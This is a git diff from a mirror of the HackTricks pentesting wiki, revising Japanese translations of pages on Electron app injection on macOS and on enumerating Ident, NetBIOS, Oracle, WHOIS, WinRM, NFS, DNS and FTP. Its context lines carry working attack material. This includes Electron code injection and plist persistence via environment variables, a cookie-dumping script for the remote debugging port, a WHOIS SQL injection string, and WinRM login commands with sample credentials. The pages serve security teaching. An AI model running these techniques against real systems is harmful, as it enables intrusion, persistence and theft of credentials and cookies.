mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
c9f0763c6a
commit
7b12317d3f
@ -9,12 +9,12 @@ Electronが何か知らない場合は、[**こちらにたくさんの情報が
|
||||
|
||||
### Electron Fuses
|
||||
|
||||
これらの技術については次に説明しますが、最近Electronはそれらを防ぐためにいくつかの**セキュリティフラグ**を追加しました。これらは[**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)であり、macOSのElectronアプリが**任意のコードを読み込むのを防ぐために使用される**ものです:
|
||||
これらの技術については次に説明しますが、最近Electronはそれらを防ぐためにいくつかの**セキュリティフラグ**を追加しました。これらは[**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)であり、macOSのElectronアプリが**任意のコードを読み込むのを防ぐために使用されるものです**:
|
||||
|
||||
- **`RunAsNode`**: 無効にすると、コードを注入するための環境変数**`ELECTRON_RUN_AS_NODE`**の使用が防止されます。
|
||||
- **`EnableNodeCliInspectArguments`**: 無効にすると、`--inspect`や`--inspect-brk`のようなパラメータは尊重されません。この方法でコードを注入するのを避けます。
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: 有効にすると、読み込まれた**`asar`** **ファイル**はmacOSによって**検証**されます。この方法でこのファイルの内容を変更することによる**コード注入**を防ぎます。
|
||||
- **`OnlyLoadAppFromAsar`**: これが有効になっている場合、次の順序で読み込むのを探すのではなく:**`app.asar`**、**`app`**、そして最後に**`default_app.asar`**。app.asarのみをチェックして使用するため、**`embeddedAsarIntegrityValidation`**フューズと組み合わせることで**検証されていないコードを読み込むことが不可能**になります。
|
||||
- **`EnableNodeCliInspectArguments`**: 無効にすると、`--inspect`や`--inspect-brk`のようなパラメータが尊重されません。この方法でコードを注入するのを避けます。
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: 有効にすると、読み込まれた**`asar`** **ファイル**がmacOSによって**検証されます**。これにより、このファイルの内容を変更することによる**コード注入**が**防止されます**。
|
||||
- **`OnlyLoadAppFromAsar`**: これが有効になっている場合、次の順序で読み込むのではなく:**`app.asar`**、**`app`**、そして最後に**`default_app.asar`**。app.asarのみをチェックして使用するため、**`embeddedAsarIntegrityValidation`**フューズと組み合わせることで**検証されていないコードを読み込むことが不可能になります**。
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**: 有効にすると、ブラウザプロセスは`browser_v8_context_snapshot.bin`というファイルをV8スナップショットに使用します。
|
||||
|
||||
コード注入を防がないもう一つの興味深いフューズは:
|
||||
@ -50,7 +50,7 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
|
||||
|
||||
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`Electron Framework`**バイナリをこれらのバイトを変更してアプリケーション内に**上書き**しようとすると、アプリは実行されませんので注意してください。
|
||||
**`Electron Framework`**バイナリをこれらのバイトを変更してアプリケーション内に**上書き**しようとすると、アプリは実行されないことに注意してください。
|
||||
|
||||
## RCEをElectronアプリケーションにコードを追加する
|
||||
|
||||
@ -70,7 +70,7 @@ asarファイルからコードを展開するには、次のコマンドを使
|
||||
```bash
|
||||
npx asar extract app.asar app-decomp
|
||||
```
|
||||
そして、次のように修正した後に再パッケージしてください:
|
||||
そして、次のように修正した後に再パッケージ化します:
|
||||
```bash
|
||||
npx asar pack app-decomp app-new.asar
|
||||
```
|
||||
@ -84,11 +84,11 @@ ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
|
||||
```
|
||||
> [!CAUTION]
|
||||
> フューズ **`RunAsNode`** が無効になっている場合、環境変数 **`ELECTRON_RUN_AS_NODE`** は無視され、この方法は機能しません。
|
||||
> If the fuse **`RunAsNode`** is disabled the env var **`ELECTRON_RUN_AS_NODE`** will be ignored, and this won't work.
|
||||
|
||||
### アプリのPlistからのインジェクション
|
||||
|
||||
[**ここで提案されているように**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/)、この環境変数をplistで悪用して永続性を維持することができます:
|
||||
As [**proposed here**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), you could abuse this env variable in a plist to maintain persistence:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -127,9 +127,9 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
|
||||
>
|
||||
> **`ELECTRON_RUN_AS_NODE`** を設定しないと、次の **エラー** が表示されます: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||
|
||||
### アプリのPlistからのインジェクション
|
||||
### アプリの Plist からのインジェクション
|
||||
|
||||
この環境変数をplistで悪用して、持続性を維持するためにこれらのキーを追加できます:
|
||||
この環境変数を plist で悪用して、持続性を維持するためにこれらのキーを追加できます:
|
||||
```xml
|
||||
<dict>
|
||||
<key>EnvironmentVariables</key>
|
||||
@ -155,11 +155,9 @@ According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
|
||||
```
|
||||
> [!CAUTION]
|
||||
> フューズ **`EnableNodeCliInspectArguments`** が無効になっている場合、アプリは起動時に環境変数 **`ELECTRON_RUN_AS_NODE`** が設定されていない限り、ノードパラメータ(`--inspect` など)を **無視** します。このフューズ **`RunAsNode`** が無効になっている場合、環境変数も **無視** されます。
|
||||
> フューズ **`EnableNodeCliInspectArguments`** が無効になっている場合、アプリは起動時にノードパラメータ(`--inspect` など)を **無視**します。ただし、環境変数 **`ELECTRON_RUN_AS_NODE`** が設定されている場合はこの限りではなく、フューズ **`RunAsNode`** が無効になっている場合はそれも **無視** されます。
|
||||
>
|
||||
> ただし、**electron パラメータ `--remote-debugging-port=9229`** を使用することで、Electronアプリから **履歴**(GETコマンドを使用)やブラウザの **クッキー** を盗むことが可能ですが、以前のペイロードは他のプロセスを実行するためには機能しません。
|
||||
|
||||
パラメータ **`--remote-debugging-port=9222`** を使用することで、Electronアプリから **履歴**(GETコマンドを使用)やブラウザの **クッキー** を盗むことが可能です(クッキーはブラウザ内で **復号化** され、クッキーを提供する **json エンドポイント** があります)。
|
||||
> しかし、**electron パラメータ `--remote-debugging-port=9229`** を使用することで、Electron アプリから **履歴**(GET コマンドを使用)やブラウザの **クッキー**(ブラウザ内で **復号化** され、クッキーを提供する **json エンドポイント** が存在します)を盗むことが可能です。
|
||||
|
||||
その方法については [**こちら**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) と [**こちら**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) で学ぶことができ、ツール [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) や次のようなシンプルなスクリプトを使用できます:
|
||||
```python
|
||||
@ -169,7 +167,7 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
|
||||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||||
print(ws.recv()
|
||||
```
|
||||
この[**ブログ投稿**](https://hackerone.com/reports/1274695)では、このデバッグが悪用され、ヘッドレスChromeが**任意の場所に任意のファイルをダウンロード**します。
|
||||
この[**ブログ投稿**](https://hackerone.com/reports/1274695)では、このデバッグが悪用されて、ヘッドレスChromeが**任意の場所に任意のファイルをダウンロード**します。
|
||||
|
||||
### アプリのPlistからのインジェクション
|
||||
|
||||
@ -194,7 +192,7 @@ print(ws.recv()
|
||||
|
||||
## 非JSコードの実行
|
||||
|
||||
前述の技術を使用すると、**Electronアプリケーションのプロセス内でJSコードを実行する**ことができます。ただし、**子プロセスは親アプリケーションと同じサンドボックスプロファイルの下で実行され**、**TCCの権限を継承します**。\
|
||||
前述の技術を使用すると、**Electronアプリケーションのプロセス内でJSコードを実行**できます。ただし、**子プロセスは親アプリケーションと同じサンドボックスプロファイルの下で実行され**、**TCCの権限を継承します**。\
|
||||
したがって、カメラやマイクにアクセスするために権限を悪用したい場合は、**プロセスから別のバイナリを実行するだけで済みます**。
|
||||
|
||||
## 自動注入
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
**Identプロトコル**は、**インターネット**上で**TCP接続**を特定のユーザーに関連付けるために使用されます。元々は**ネットワーク管理**と**セキュリティ**を支援するために設計されており、サーバーがポート113でクライアントに問い合わせを行い、特定のTCP接続のユーザーに関する情報を要求することによって機能します。
|
||||
|
||||
しかし、現代のプライバシーに関する懸念や悪用の可能性から、その使用は減少しています。なぜなら、意図せずにユーザー情報を不正な第三者に明らかにする可能性があるからです。これらのリスクを軽減するために、暗号化された接続や厳格なアクセス制御などの強化されたセキュリティ対策が推奨されます。
|
||||
しかし、現代のプライバシーに関する懸念や悪用の可能性から、その使用は減少しています。なぜなら、意図せずにユーザー情報を不正な第三者に明らかにする可能性があるからです。これらのリスクを軽減するためには、暗号化された接続や厳格なアクセス制御などの強化されたセキュリティ対策が推奨されます。
|
||||
|
||||
**デフォルトポート:** 113
|
||||
```
|
||||
@ -15,13 +15,13 @@ PORT STATE SERVICE
|
||||
```
|
||||
## **列挙**
|
||||
|
||||
### **手動 - ユーザーを取得/サービスを特定する**
|
||||
### **手動 - ユーザーを取得/サービスを特定**
|
||||
|
||||
マシンがサービス ident と samba (445) を実行しており、ポート 43218 を使用して samba に接続している場合、samba サービスを実行しているユーザーを取得することができます:
|
||||
|
||||
.png>)
|
||||
|
||||
サービスに接続するときにただ Enter を押すと:
|
||||
サービスに接続するときに単に Enter を押すと:
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -8,9 +8,9 @@
|
||||
|
||||
[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
||||
|
||||
- 名前の登録と解決のための名前サービス(ポート: 137/udp および 137/tcp)。
|
||||
- 接続のない通信のためのデータグラム配信サービス(ポート: 138/udp)。
|
||||
- 接続指向通信のためのセッションサービス(ポート: 139/tcp)。
|
||||
- 名前の登録と解決のための名前サービス (ポート: 137/udp および 137/tcp)。
|
||||
- 接続のない通信のためのデータグラム配信サービス (ポート: 138/udp)。
|
||||
- 接続指向通信のためのセッションサービス (ポート: 139/tcp)。
|
||||
|
||||
### Name Service
|
||||
|
||||
@ -27,7 +27,7 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
||||
```
|
||||
### Datagram Distribution Service
|
||||
|
||||
NetBIOSデータグラムは、UDPを介した接続のない通信を可能にし、直接メッセージングやすべてのネットワーク名へのブロードキャストをサポートします。このサービスはポート**138/udp**を使用します。
|
||||
NetBIOSデータグラムは、UDPを介した接続のない通信を可能にし、直接メッセージングまたはすべてのネットワーク名へのブロードキャストをサポートします。このサービスはポート**138/udp**を使用します。
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
138/udp open|filtered netbios-dgm
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
Oracleデータベース(Oracle DB)は、Oracle Corporationによるリレーショナルデータベース管理システム(RDBMS)です([こちら](https://www.techopedia.com/definition/8711/oracle-database)から)。
|
||||
|
||||
Oracleを列挙する際の最初のステップは、通常デフォルトポート(1521/TCP、-1522–1529でセカンダリリスナーも取得できる場合があります-)に存在するTNS-Listenerと通信することです。
|
||||
Oracleを列挙する際の最初のステップは、通常デフォルトポート(1521/TCP、-1522–1529のセカンダリリスナーも取得できる場合があります-)に存在するTNS-Listenerと通信することです。
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
@ -16,7 +16,7 @@ Oracleを列挙する際の最初のステップは、通常デフォルトポ
|
||||
1. **バージョン列挙**: 既知の脆弱性を検索するためにバージョン情報を特定します。
|
||||
2. **TNSリスナーのブルートフォース**: 通信を確立するために必要な場合があります。
|
||||
3. **SID名の列挙/ブルートフォース**: データベース名(SID)を発見します。
|
||||
4. **資格情報のブルートフォース**: 発見したSIDにアクセスしようとします。
|
||||
4. **資格情報のブルートフォース**: 発見したSIDにアクセスを試みます。
|
||||
5. **コード実行**: システム上でコードを実行しようとします。
|
||||
|
||||
MSFのOracleモジュールを使用するには、いくつかの依存関係をインストールする必要があります: [**インストール**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
|
||||
|
@ -18,17 +18,17 @@ whoisサービスがドメインについて持っているすべての情報を
|
||||
whois -h <HOST> -p <PORT> "domain.tld"
|
||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
```
|
||||
WHOISサービスに情報をリクエストする際、使用されているデータベースがレスポンスに表示されることがあります。
|
||||
注意として、WHOISサービスに情報をリクエストする際、使用されているデータベースがレスポンスに表示されることがあります。
|
||||
|
||||
.png>)
|
||||
|
||||
また、WHOISサービスは常に情報を保存し抽出するために**データベース**を使用する必要があります。したがって、ユーザーが提供した情報からデータベースを**クエリ**する際に、**SQLInjection**が存在する可能性があります。例えば、`whois -h 10.10.10.155 -p 43 "a') or 1=1#"`を実行することで、データベースに保存されている**すべての**情報を**抽出**できるかもしれません。
|
||||
また、WHOISサービスは常に情報を保存し抽出するために**データベース**を使用する必要があります。したがって、ユーザーが提供した情報からデータベースを**クエリ**する際に、**SQLインジェクション**が存在する可能性があります。例えば、`whois -h 10.10.10.155 -p 43 "a') or 1=1#"`を実行することで、データベースに保存されている**すべての**情報を**抽出**できるかもしれません。
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:43 whois`
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
## HackTricks 自動コマンド
|
||||
```
|
||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||
Port_Number: 43 #Comma separated if there is more than one.
|
||||
|
@ -4,18 +4,18 @@
|
||||
|
||||
## WinRM
|
||||
|
||||
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) は、**Microsoftによって強調されたプロトコル**であり、HTTP(S)を介して**Windowsシステムのリモート管理**を可能にし、その過程でSOAPを活用します。これは基本的にWMIによって動作し、WMI操作のためのHTTPベースのインターフェースとして機能します。
|
||||
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) は、**Microsoftによって強調されたプロトコル**であり、**HTTP(S)を通じてWindowsシステムのリモート管理を可能にします**。このプロセスではSOAPを利用しています。基本的にはWMIによって動作し、WMI操作のためのHTTPベースのインターフェースとして機能します。
|
||||
|
||||
マシン上にWinRMが存在することで、SSHが他のオペレーティングシステムで機能するのと同様に、PowerShellを介した簡単なリモート管理が可能になります。WinRMが動作しているかどうかを確認するには、特定のポートが開いているかをチェックすることが推奨されます:
|
||||
マシン上にWinRMが存在することで、SSHが他のオペレーティングシステムで機能するのと同様に、PowerShellを介したリモート管理が簡単に行えます。WinRMが稼働しているかどうかを確認するには、特定のポートが開いているかをチェックすることが推奨されます:
|
||||
|
||||
- **5985/tcp (HTTP)**
|
||||
- **5986/tcp (HTTPS)**
|
||||
|
||||
上記のリストからのオープンポートは、WinRMが設定されていることを示し、リモートセッションを開始する試みを許可します。
|
||||
上記のリストにあるポートが開いている場合、WinRMが設定されていることを示し、リモートセッションを開始する試みを許可します。
|
||||
|
||||
### **WinRMセッションの開始**
|
||||
|
||||
WinRMのためにPowerShellを構成するには、Microsoftの`Enable-PSRemoting` cmdletが使用され、コンピュータがリモートPowerShellコマンドを受け入れるように設定されます。昇格されたPowerShellアクセスを持っている場合、次のコマンドを実行してこの機能を有効にし、任意のホストを信頼済みとして指定できます:
|
||||
WinRMのためにPowerShellを設定するには、Microsoftの`Enable-PSRemoting` cmdletを使用し、リモートPowerShellコマンドを受け入れるようにコンピュータを設定します。昇格されたPowerShellアクセスを持っている場合、次のコマンドを実行してこの機能を有効にし、任意のホストを信頼済みとして指定できます:
|
||||
```powershell
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
@ -26,11 +26,11 @@ Set-Item wsman:\localhost\client\trustedhosts *
|
||||
```powershell
|
||||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||||
```
|
||||
この方法は、WinRMのリモートセットアップを可能にし、遠隔からWindowsマシンを管理する柔軟性を高めます。
|
||||
この方法は、WinRMのリモート設定を可能にし、遠隔からWindowsマシンを管理する柔軟性を高めます。
|
||||
|
||||
### 設定されているかテストする
|
||||
|
||||
攻撃マシンのセットアップを確認するために、`Test-WSMan`コマンドを使用して、ターゲットがWinRMを適切に設定しているかどうかをチェックします。このコマンドを実行することで、プロトコルバージョンやwsmidに関する詳細が返され、設定が成功したことを示します。以下は、設定されたターゲットと未設定のターゲットの期待される出力を示す例です:
|
||||
攻撃マシンの設定を確認するために、`Test-WSMan`コマンドを使用して、ターゲットがWinRMを適切に設定しているかどうかをチェックします。このコマンドを実行することで、プロトコルバージョンやwsmidに関する詳細が返され、設定が成功したことを示します。以下は、設定されたターゲットと未設定のターゲットの期待される出力を示す例です:
|
||||
|
||||
- **適切に設定されている**ターゲットの場合、出力は次のようになります:
|
||||
```bash
|
||||
@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
|
||||
```
|
||||
.png>)
|
||||
|
||||
現在のPSコンソールのコマンドを**_**Invoke-Command**_を介して**実行することもできます。ローカルに**_**enumeration**_という関数があり、リモートコンピュータで**実行したい場合**、次のようにできます:
|
||||
現在のPSコンソールのコマンドを**_**Invoke-Command**_を介して**実行することもできます**。ローカルに**_**enumeration**_という関数があり、リモートコンピュータでそれを**実行したい場合**、次のようにします:
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||
```
|
||||
@ -95,7 +95,7 @@ PSリモーティングとWinRMを使用するために、コンピュータが
|
||||
```
|
||||
### セッションの保存と復元
|
||||
|
||||
この**方法は**、リモートコンピュータで**言語**が**制約されている**場合、**機能しません**。
|
||||
この**機能は動作しません**、もし**リモートコンピュータ**で**言語**が**制約**されている場合。
|
||||
```powershell
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
@ -142,7 +142,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
|
||||
```ruby
|
||||
gem install evil-winrm
|
||||
```
|
||||
**ドキュメンテーション**をGitHubで読む: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
**ドキュメント**をGitHubで読む: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
**NFS**は、ユーザーがネットワーク上でファイルにシームレスにアクセスできるように設計された**クライアント/サーバ**システムであり、これらのファイルがローカルディレクトリ内にあるかのように扱います。
|
||||
|
||||
このプロトコルの注目すべき点は、組み込みの**認証**や**認可メカニズム**がないことです。代わりに、認可は**ファイルシステム情報**に依存しており、サーバは**クライアント提供のユーザー情報**をファイルシステムの要求する**認可フォーマット**に正確に変換する役割を担っています。主に**UNIX構文**に従います。
|
||||
このプロトコルの注目すべき点は、組み込みの**認証**や**認可メカニズム**がないことです。代わりに、認可は**ファイルシステム情報**に依存しており、サーバは**クライアント提供のユーザー情報**をファイルシステムの必要な**認可形式**に正確に変換する役割を担っています。主に**UNIX構文**に従います。
|
||||
|
||||
認証は一般的に**UNIX `UID`/`GID`識別子とグループメンバーシップ**に依存しています。しかし、クライアントとサーバ間の**`UID`/`GID`マッピング**の不一致の可能性があるため、サーバによる追加の検証の余地がありません。その結果、このプロトコルは**信頼されたネットワーク**内での使用に最も適しています。この認証方法に依存しているためです。
|
||||
|
||||
@ -20,7 +20,7 @@
|
||||
|
||||
- **NFSv3**: 一連の改善と共に導入されたNFSv3は、前のバージョンを拡張し、可変ファイルサイズをサポートし、改善されたエラーレポート機能を提供しました。進歩にもかかわらず、NFSv2クライアントとの完全な後方互換性には制限がありました。
|
||||
|
||||
- **NFSv4**: NFSシリーズの画期的なバージョンであるNFSv4は、ネットワーク全体でのファイル共有を現代化するために設計された一連の機能をもたらしました。注目すべき改善点には、**高セキュリティ**のためのKerberosの統合、ファイアウォールを越えて動作し、ポートマッパーなしでインターネット上で動作する能力、アクセス制御リスト(ACL)のサポート、状態ベースの操作の導入が含まれます。そのパフォーマンスの向上とステートフルプロトコルの採用により、NFSv4はネットワークファイル共有技術における重要な進展として際立っています。
|
||||
- **NFSv4**: NFSシリーズの画期的なバージョンであるNFSv4は、ネットワークを通じたファイル共有を現代化するために設計された一連の機能をもたらしました。注目すべき改善点には、**高セキュリティ**のためのKerberosの統合、ファイアウォールを越えて動作し、ポートマッパーなしでインターネット上で動作する能力、アクセス制御リスト(ACL)のサポート、状態ベースの操作の導入が含まれます。そのパフォーマンスの向上とステートフルプロトコルの採用により、NFSv4はネットワークファイル共有技術における重要な進展として際立っています。
|
||||
|
||||
各NFSバージョンは、ネットワーク環境の進化するニーズに対応することを目的として開発されており、セキュリティ、互換性、パフォーマンスを徐々に向上させています。
|
||||
|
||||
@ -42,7 +42,7 @@ scanner/nfs/nfsmount #Scan NFS mounts and list permissions
|
||||
```bash
|
||||
showmount -e <IP>
|
||||
```
|
||||
次に、次のようにマウントします:
|
||||
次に、次のコマンドを使用してマウントします:
|
||||
```bash
|
||||
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
|
||||
```
|
||||
@ -55,13 +55,13 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||
```
|
||||
## パーミッション
|
||||
|
||||
特定のユーザー(**UID**)のみがアクセスできる**ファイルやフォルダー**を含むフォルダーをマウントすると、**ローカル**にその**UID**を持つユーザーを作成し、その**ユーザー**を使用することでファイル/フォルダーに**アクセス**できるようになります。
|
||||
特定のユーザー(**UID**)のみがアクセスできる**ファイルやフォルダー**を含むフォルダーをマウントすると、**UID**を持つユーザーを**ローカル**に作成し、その**ユーザー**を使用してファイル/フォルダーに**アクセス**できるようになります。
|
||||
|
||||
## NSFShell
|
||||
|
||||
ファイルにアクセスするために、UIDやGIDを簡単にリスト、マウント、変更するには、[nfsshell](https://github.com/NetDirect/nfsshell)を使用できます。
|
||||
ファイルにアクセスするために、UIDとGIDを簡単にリスト、マウント、変更するには、[nfsshell](https://github.com/NetDirect/nfsshell)を使用できます。
|
||||
|
||||
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
[素晴らしいNFSShellチュートリアル。](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
|
||||
## 設定ファイル
|
||||
```
|
||||
@ -70,7 +70,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||
```
|
||||
### 危険な設定
|
||||
|
||||
- **読み書き権限 (`rw`):** この設定は、ファイルシステムからの読み取りと書き込みの両方を許可します。このような広範なアクセスを許可することの影響を考慮することが重要です。
|
||||
- **読み書き権限 (`rw`):** この設定は、ファイルシステムからの読み取りと書き込みの両方を許可します。このような広範なアクセスを付与することの影響を考慮することが重要です。
|
||||
|
||||
- **安全でないポートの使用 (`insecure`):** 有効にすると、システムは1024以上のポートを利用できるようになります。この範囲のポートのセキュリティは厳格でない場合があり、リスクが増加します。
|
||||
|
||||
|
@ -16,10 +16,10 @@ PORT STATE SERVICE REASON
|
||||
```
|
||||
### 異なるDNSサーバー
|
||||
|
||||
- **DNSルートサーバー**: これらはDNS階層の最上部にあり、トップレベルドメインを管理し、下位サーバーが応答しない場合にのみ介入します。インターネット名称と番号割り当て機関(**ICANN**)がその運営を監督しており、世界中で13のサーバーがあります。
|
||||
- **DNSルートサーバー**: これらはDNS階層の最上部にあり、トップレベルドメインを管理し、下位サーバーが応答しない場合にのみ介入します。インターネット名称と番号割り当て機関(**ICANN**)がその運営を監督しており、世界で13のサーバーがあります。
|
||||
- **権威あるネームサーバー**: これらのサーバーは、指定されたゾーン内のクエリに対して最終的な決定権を持ち、明確な回答を提供します。応答できない場合、クエリはルートサーバーにエスカレーションされます。
|
||||
- **非権威あるネームサーバー**: DNSゾーンに対する所有権がないこれらのサーバーは、他のサーバーへのクエリを通じてドメイン情報を収集します。
|
||||
- **キャッシングDNSサーバー**: このタイプのサーバーは、将来のリクエストの応答時間を短縮するために、以前のクエリの回答を一定時間記憶します。キャッシュの期間は権威あるサーバーによって決定されます。
|
||||
- **キャッシングDNSサーバー**: このタイプのサーバーは、将来のリクエストの応答時間を短縮するために、以前のクエリの回答を一定の時間記憶します。キャッシュの期間は権威あるサーバーによって決定されます。
|
||||
- **フォワーディングサーバー**: 単純な役割を果たすフォワーディングサーバーは、クエリを別のサーバーに中継するだけです。
|
||||
- **リゾルバー**: コンピュータやルーターに統合されているリゾルバーは、ローカルで名前解決を実行し、権威あるものとは見なされません。
|
||||
|
||||
@ -27,7 +27,7 @@ PORT STATE SERVICE REASON
|
||||
|
||||
### **バナーグラビング**
|
||||
|
||||
DNSにはバナーはありませんが、`version.bind. CHAOS TXT`のマジッククエリを取得することができます。これはほとんどのBINDネームサーバーで機能します。\
|
||||
DNSにはバナーはありませんが、`version.bind. CHAOS TXT`のマジッククエリを取得することができ、ほとんどのBINDネームサーバーで機能します。\
|
||||
このクエリは`dig`を使用して実行できます:
|
||||
```bash
|
||||
dig version.bind CHAOS TXT @DNS
|
||||
@ -40,13 +40,13 @@ dig version.bind CHAOS TXT @DNS
|
||||
```
|
||||
### **Any record**
|
||||
|
||||
レコード **ANY** は、DNSサーバーに **返す** ように要求します。すべての利用可能な **エントリ** を **開示する意志がある** ものです。
|
||||
レコード **ANY** は、DNSサーバーに **返す** ように要求し、**開示する意志のある** すべての **エントリ** を取得します。
|
||||
```bash
|
||||
dig any victim.com @<DNS_IP>
|
||||
```
|
||||
### **ゾーン転送**
|
||||
|
||||
この手順は `Asynchronous Full Transfer Zone` (`AXFR`) と略されます。
|
||||
この手順は `Asynchronous Full Transfer Zone` (`AXFR`) の略です。
|
||||
```bash
|
||||
dig axfr @<DNS_IP> #Try zone transfer without domain
|
||||
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
|
||||
@ -107,7 +107,7 @@ dnsenum --dnsserver <IP_DNS> --enum -p 0 -s 0 -o subdomains.txt -f subdomains-10
|
||||
dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
|
||||
dnscan -d <domain> -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan
|
||||
```
|
||||
### アクティブディレクトリサーバー
|
||||
### Active Directoryサーバー
|
||||
```bash
|
||||
dig -t _gc._tcp.lab.domain.com
|
||||
dig -t _ldap._tcp.lab.domain.com
|
||||
@ -126,7 +126,7 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
|
||||
```
|
||||
### IPv6
|
||||
|
||||
"AAAA" リクエストを使用してサブドメインのIPv6を収集するためのブルートフォース。
|
||||
"AAAA" リクエストを使用してサブドメインの IPv6 を収集するためのブルートフォース。
|
||||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
@ -157,7 +157,7 @@ dig google.com A @<IP>
|
||||
## ポストエクスプロイト
|
||||
|
||||
- Bindサーバーの設定を確認する際は、**`allow-transfer`** パラメータの設定を確認してください。これはゾーン転送を実行できる人を示し、**`allow-recursion`** および **`allow-query`** は再帰リクエストやリクエストを送信できる人を示します。
|
||||
- 次のDNS関連ファイルの名前は、マシン内で検索する際に興味深いかもしれません:
|
||||
- 次のファイルは、機械内で検索するのに興味深いDNS関連のファイル名です:
|
||||
```
|
||||
host.conf
|
||||
/etc/resolv.conf
|
||||
|
@ -5,7 +5,7 @@
|
||||
## 基本情報
|
||||
|
||||
**ファイル転送プロトコル (FTP)** は、サーバーとクライアント間でコンピュータネットワークを介してファイルを転送するための標準プロトコルです。\
|
||||
これは**プレーンテキスト**プロトコルで、**新しい行文字 `0x0d 0x0a`** を使用するため、時には**`telnet`**または**`nc -C`**を使用して**接続する必要があります**。
|
||||
これは**プレーンテキスト**プロトコルであり、**新しい行文字 `0x0d 0x0a`** を使用するため、時には**`telnet`**または**`nc -C`**を使用して**接続する必要があります**。
|
||||
|
||||
**デフォルトポート:** 21
|
||||
```
|
||||
@ -14,11 +14,11 @@ PORT STATE SERVICE
|
||||
```
|
||||
### 接続のアクティブとパッシブ
|
||||
|
||||
**アクティブFTP**では、FTP **クライアント**が最初に制御**接続**をポートNからFTPサーバーのコマンドポート(ポート21)に**開始**します。次に、**クライアント**はポート**N+1**を**リッスン**し、ポートN+1をFTPサーバーに送信します。FTP **サーバー**はその後、データ**接続**を**自分のポートMからFTPクライアントのポートN+1**に**開始**します。
|
||||
